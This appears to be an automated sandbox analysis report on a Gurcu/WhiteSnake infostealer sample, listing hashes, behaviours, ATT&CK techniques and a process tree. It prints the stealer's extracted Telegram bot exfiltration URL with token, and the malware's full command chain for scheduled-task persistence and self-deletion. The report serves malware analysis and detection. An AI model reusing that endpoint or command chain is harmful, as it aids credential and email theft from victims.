gurcu | 8d647fd3ebb00c9d853eb728ff7cba75b7a089d30f84090e3bc1dc460bdd47f3

Analysis

max time kernel
120s
max time network
158s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
26/07/2023, 13:30

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General

Target

loader.exe
Size

401KB
MD5

69e3cdc923b668aec4cb405c040565c6
SHA1

6a675ebf6f241e543f7bb50ccc8ead462a427880
SHA256

8d647fd3ebb00c9d853eb728ff7cba75b7a089d30f84090e3bc1dc460bdd47f3
SHA512

5580919f6710fc210f079875eae22a87c85e854b57f59d10fc22680460f370154d7d223a66c9797387e4675a7954ba6f051a34571499481927980eb9ebf07cdb
SSDEEP

6144:+CGmWI/2hvRn6Ie646G0D1eBlxy9bAmI6:+KWI/8B6Q9b5eBlxnmI6

Score

10^/10

gurcu collection spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot6193093056:AAHzyNGUGS9aUG6CCx6ENLoXpCFLzEQywIQ/sendMessage?chat_id=1098292643

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Deletes itself 1 IoCs

pid	Process
1872	cmd.exe

Executes dropped EXE 3 IoCs

pid	Process
2680	loader.exe
2996	loader.exe
1176	loader.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	loader.exe
Key opened	\REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	loader.exe
Key opened	\REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	loader.exe
Key opened	\REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	loader.exe
Key opened	\REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	loader.exe
Key opened	\REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	loader.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
225	ip-api.com
118	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
1376	2680	WerFault.exe	35
3020	1176	WerFault.exe	39

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3008	schtasks.exe

Modifies system certificate store 2 TTPs 8 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	loader.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	loader.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	loader.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	loader.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	loader.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	loader.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	loader.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	loader.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2252	PING.EXE

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1448	loader.exe
Token: SeDebugPrivilege	2680	loader.exe
Token: SeDebugPrivilege	2996	loader.exe
Token: SeDebugPrivilege	1176	loader.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1448 wrote to memory of 1872	1448	loader.exe	30
PID 1448 wrote to memory of 1872	1448	loader.exe	30
PID 1448 wrote to memory of 1872	1448	loader.exe	30
PID 1872 wrote to memory of 2592	1872	cmd.exe	32
PID 1872 wrote to memory of 2592	1872	cmd.exe	32
PID 1872 wrote to memory of 2592	1872	cmd.exe	32
PID 1872 wrote to memory of 2252	1872	cmd.exe	33
PID 1872 wrote to memory of 2252	1872	cmd.exe	33
PID 1872 wrote to memory of 2252	1872	cmd.exe	33
PID 1872 wrote to memory of 3008	1872	cmd.exe	34
PID 1872 wrote to memory of 3008	1872	cmd.exe	34
PID 1872 wrote to memory of 3008	1872	cmd.exe	34
PID 1872 wrote to memory of 2680	1872	cmd.exe	35
PID 1872 wrote to memory of 2680	1872	cmd.exe	35
PID 1872 wrote to memory of 2680	1872	cmd.exe	35
PID 2448 wrote to memory of 2996	2448	taskeng.exe	37
PID 2448 wrote to memory of 2996	2448	taskeng.exe	37
PID 2448 wrote to memory of 2996	2448	taskeng.exe	37
PID 2680 wrote to memory of 1376	2680	loader.exe	38
PID 2680 wrote to memory of 1376	2680	loader.exe	38
PID 2680 wrote to memory of 1376	2680	loader.exe	38
PID 2448 wrote to memory of 1176	2448	taskeng.exe	39
PID 2448 wrote to memory of 1176	2448	taskeng.exe	39
PID 2448 wrote to memory of 1176	2448	taskeng.exe	39
PID 1176 wrote to memory of 3020	1176	loader.exe	40
PID 1176 wrote to memory of 3020	1176	loader.exe	40
PID 1176 wrote to memory of 3020	1176	loader.exe	40

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	loader.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	loader.exe

C:\Users\Admin\AppData\Local\Temp\loader.exe
"C:\Users\Admin\AppData\Local\Temp\loader.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "loader" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\TeamViewer\loader.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\loader.exe" &&START "" "C:\Users\Admin\AppData\Local\TeamViewer\loader.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1872
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2592
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:2252
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "loader" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\TeamViewer\loader.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:3008
- - C:\Users\Admin\AppData\Local\TeamViewer\loader.exe
    "C:\Users\Admin\AppData\Local\TeamViewer\loader.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Modifies system certificate store
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2680
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2680 -s 4168
      4⤵
      Program crash
      PID:1376

C:\Windows\system32\taskeng.exe
taskeng.exe {2DB00F75-79A5-4756-933C-011D00475C33} S-1-5-21-1014134971-2480516131-292343513-1000:NYBYVYTJ\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2448
- C:\Users\Admin\AppData\Local\TeamViewer\loader.exe
  C:\Users\Admin\AppData\Local\TeamViewer\loader.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2996
- C:\Users\Admin\AppData\Local\TeamViewer\loader.exe
  C:\Users\Admin\AppData\Local\TeamViewer\loader.exe
  2⤵
  - Executes dropped EXE
  - Accesses Microsoft Outlook profiles
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:1176
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 1176 -s 1396
    3⤵
    - Program crash
    PID:3020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
302962c2404839a514f898a8c4a3c2f6

SHA1
9f2db34487a0e61c7295e194da1462fb8de1a055

SHA256
c75789c031da6a24c1b50330e851972a77337b5d2d0b7227b455c2e663605ca6

SHA512
2b66268119e24bef502831eb6ff3baa1c455ff1723a1d4a187e5e5446de1ee259073395d44d862e85602eebfd8a9b1ad7af00bbae2d0aa19237fb5ef5ca3e170

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
0378c32d92766661ac51354f98268d83

SHA1
1b8a739b91e61bab65659b7e04d71e7242956d02

SHA256
68d0a1a4a2979368fbcc3eb92c5e1e90b3bd864930b320cf3d1bf2f77f855292

SHA512
049e7ac08741f5cc17dc6bf73a485c8c0e78f60da5356d02982dab2973a35d8457ff6b786c6dd218b3afe3c021e71e63cc3bf029a2ef1f09a48cb4560460b3a9

Download Submit
C:\Users\Admin\AppData\Local\TeamViewer\loader.exe

Filesize
401KB

MD5
69e3cdc923b668aec4cb405c040565c6

SHA1
6a675ebf6f241e543f7bb50ccc8ead462a427880

SHA256
8d647fd3ebb00c9d853eb728ff7cba75b7a089d30f84090e3bc1dc460bdd47f3

SHA512
5580919f6710fc210f079875eae22a87c85e854b57f59d10fc22680460f370154d7d223a66c9797387e4675a7954ba6f051a34571499481927980eb9ebf07cdb

Download Submit
C:\Users\Admin\AppData\Local\TeamViewer\loader.exe

Filesize
401KB

MD5
69e3cdc923b668aec4cb405c040565c6

SHA1
6a675ebf6f241e543f7bb50ccc8ead462a427880

SHA256
8d647fd3ebb00c9d853eb728ff7cba75b7a089d30f84090e3bc1dc460bdd47f3

SHA512
5580919f6710fc210f079875eae22a87c85e854b57f59d10fc22680460f370154d7d223a66c9797387e4675a7954ba6f051a34571499481927980eb9ebf07cdb

Download Submit
C:\Users\Admin\AppData\Local\TeamViewer\loader.exe

Filesize
401KB

MD5
69e3cdc923b668aec4cb405c040565c6

SHA1
6a675ebf6f241e543f7bb50ccc8ead462a427880

SHA256
8d647fd3ebb00c9d853eb728ff7cba75b7a089d30f84090e3bc1dc460bdd47f3

SHA512
5580919f6710fc210f079875eae22a87c85e854b57f59d10fc22680460f370154d7d223a66c9797387e4675a7954ba6f051a34571499481927980eb9ebf07cdb

Download Submit
C:\Users\Admin\AppData\Local\TeamViewer\loader.exe

Filesize
401KB

MD5
69e3cdc923b668aec4cb405c040565c6

SHA1
6a675ebf6f241e543f7bb50ccc8ead462a427880

SHA256
8d647fd3ebb00c9d853eb728ff7cba75b7a089d30f84090e3bc1dc460bdd47f3

SHA512
5580919f6710fc210f079875eae22a87c85e854b57f59d10fc22680460f370154d7d223a66c9797387e4675a7954ba6f051a34571499481927980eb9ebf07cdb

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab49C0.tmp

Filesize
62KB

MD5
3ac860860707baaf32469fa7cc7c0192

SHA1
c33c2acdaba0e6fa41fd2f00f186804722477639

SHA256
d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904

SHA512
d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar4A8E.tmp

Filesize
164KB

MD5
4ff65ad929cd9a367680e0e5b1c08166

SHA1
c0af0d4396bd1f15c45f39d3b849ba444233b3a2

SHA256
c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6

SHA512
f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27

Download Submit
C:\Users\Admin\AppData\Local\jjmzzxbvaf\port.dat

Filesize
4B

MD5
9407c826d8e3c07ad37cb2d13d1cb641

SHA1
c4e2a9162d51a3df8022e3aae26c054b3b5da46b

SHA256
83e19a9ce479dc064bab4bd50134db14918cc967debd3ad223bb8993c523788d

SHA512
f8ebfa36256b06e3252c201b5586f370323d8fede25ef475ecf7df3b12e8d238569e5e6660329dd2f8ae54d61139e21f141fceaf8d1d2d4af258794882e8f384

Download Submit
memory/1176-192-0x000007FEF4DC0000-0x000007FEF57AC000-memory.dmp

Filesize
9.9MB

Download
memory/1176-193-0x000000001B140000-0x000000001B1C0000-memory.dmp

Filesize
512KB

Download
memory/1176-172-0x000000001B140000-0x000000001B1C0000-memory.dmp

Filesize
512KB

Download
memory/1176-171-0x000007FEF4DC0000-0x000007FEF57AC000-memory.dmp

Filesize
9.9MB

Download
memory/1448-54-0x000007FEF57B0000-0x000007FEF619C000-memory.dmp

Filesize
9.9MB

Download
memory/1448-59-0x000007FEF57B0000-0x000007FEF619C000-memory.dmp

Filesize
9.9MB

Download
memory/1448-56-0x000000001B1D0000-0x000000001B250000-memory.dmp

Filesize
512KB

Download
memory/1448-55-0x00000000011E0000-0x0000000001248000-memory.dmp

Filesize
416KB

Download
memory/2680-63-0x0000000000FB0000-0x0000000001018000-memory.dmp

Filesize
416KB

Download
memory/2680-94-0x000000001B070000-0x000000001B0F0000-memory.dmp

Filesize
512KB

Download
memory/2680-70-0x000007FEF4DC0000-0x000007FEF57AC000-memory.dmp

Filesize
9.9MB

Download
memory/2680-65-0x000000001B070000-0x000000001B0F0000-memory.dmp

Filesize
512KB

Download
memory/2680-64-0x000007FEF4DC0000-0x000007FEF57AC000-memory.dmp

Filesize
9.9MB

Download
